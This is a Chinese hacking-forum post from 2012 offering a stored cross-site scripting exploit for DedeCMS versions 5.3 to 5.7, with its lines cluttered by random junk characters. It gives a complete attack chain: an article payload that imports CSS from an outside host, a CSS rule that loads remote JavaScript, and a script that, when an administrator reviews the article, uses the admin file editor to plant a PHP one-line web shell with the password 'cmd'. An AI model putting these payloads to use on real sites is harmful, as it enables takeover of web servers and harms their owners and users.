找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1845|回复: 0
打印 上一主题 下一主题

dedecms xss oday通杀所有版本 可getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 13:56:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell
# |) |: ]+ R" O  ]# z为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
6 {% P0 B2 y/ q6 r4 k1 E: q目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。9 b( T/ a( c; v; `
下面说说利用方法。/ j+ f9 v3 H+ H$ Z5 c) I
条件有2个:: t" t+ U- R  X+ d* x) Y1 W* x
1.开启注册
  [, m3 `0 N/ p, D9 A& f3 g. r2.开启投稿$ M1 r# z" K  ]; V0 X$ M4 X
注册会员----发表文章" [8 u; r5 x' L- e8 K% k4 U8 }
内容填写:- I0 z7 G) F' Y4 P5 T
复制代码
8 n0 Z, L8 F+ e* e$ R( @$ h6 c<style>@im\port'\http://xxx.com/xss.css';</style>0 t  i: v, V& D' ]5 R7 T' R
新建XSS.Css
" n8 F8 V5 H' F. T  U' |复制代码
& T$ [- t0 m8 E4 }+ T) C$ p.body{
! t) k+ K2 g* [( }! ~. H- Mbackground-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }; B, B/ i+ i/ n) t
新建xss.js 内容为
8 w# ?% M2 X* P( N复制代码
, C8 t+ J0 V9 {1 p1 H- n5 d) a1.var request = false;
2 g6 p' P+ N# i+ X6 C/ i2.if(window.XMLHttpRequest) {
: _8 T5 V/ N' Y$ o3.request = new XMLHttpRequest();
4 Y+ |! v- a) Z: t) @4.if(request.overrideMimeType) {) N$ I7 C" d; Y/ E
5.request.overrideMimeType('text/xml');, [+ G/ U; s3 e: [0 N/ d
6.}2 o4 Y. R. X: r+ J
7.} else if(window.ActiveXObject) {; Q4 V# t: L4 u( n
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
& }% R9 a# r" H4 {$ K: w9.for(var i=0; i<versions.length; i++) {
1 V! f) U3 ]* a0 X* r# x10.try {) i: C, `% e+ e; N; E, }  h3 A
11.request = new ActiveXObject(versions);8 A# |  e) J) {, q6 A
12.} catch(e) {}
8 s6 Z# B5 C+ J13.}7 l: y% x: K& k9 g4 b( F) j
14.}- E; }7 U0 x. h$ W
15.xmlhttp=request;6 E# C9 n, W% q9 `$ f8 q1 p
16.function getFolder( url ){
/ ~6 Y9 F2 h- A  Z5 q17. obj = url.split('/')
6 s% t: g0 u  w/ i: e18. return obj[obj.length-2]
( `  _$ `$ k. Z  t; c2 b9 k- H. ]19.}2 i  O) ~" ^8 [$ u" C0 A1 e0 v4 E; ]( ]
20.oUrl = top.location.href;
& {9 W% U& |5 F. ^21.u = getFolder(oUrl);
6 g& U; R) P" H% T0 W/ O1 w# U( r/ l22.add_admin();$ H8 b; _; M; z5 ~( F6 ~  e# z6 U
23.function add_admin(){
% d2 x' o. |7 e( _) [24.var url= "/"+u+"/sys_sql_query.php";/ _- p0 [* i) p, Y. o- ]0 q
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
% O2 G8 A8 J# a9 }26.xmlhttp.open("POST", url, true);9 ?% Y) D5 r, Q( R: r5 \
27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
. S6 ^0 c7 l. o28.xmlhttp.setRequestHeader("Content-length", params.length);
7 a( G: ^* G1 W% T% L- h29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
( j6 V) a1 J! F+ L7 \$ j! Y, F30.xmlhttp.send(params);
5 x/ o+ I1 e1 l8 t4 H31.}
7 V0 l' U& A. S) I# I8 x. \当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表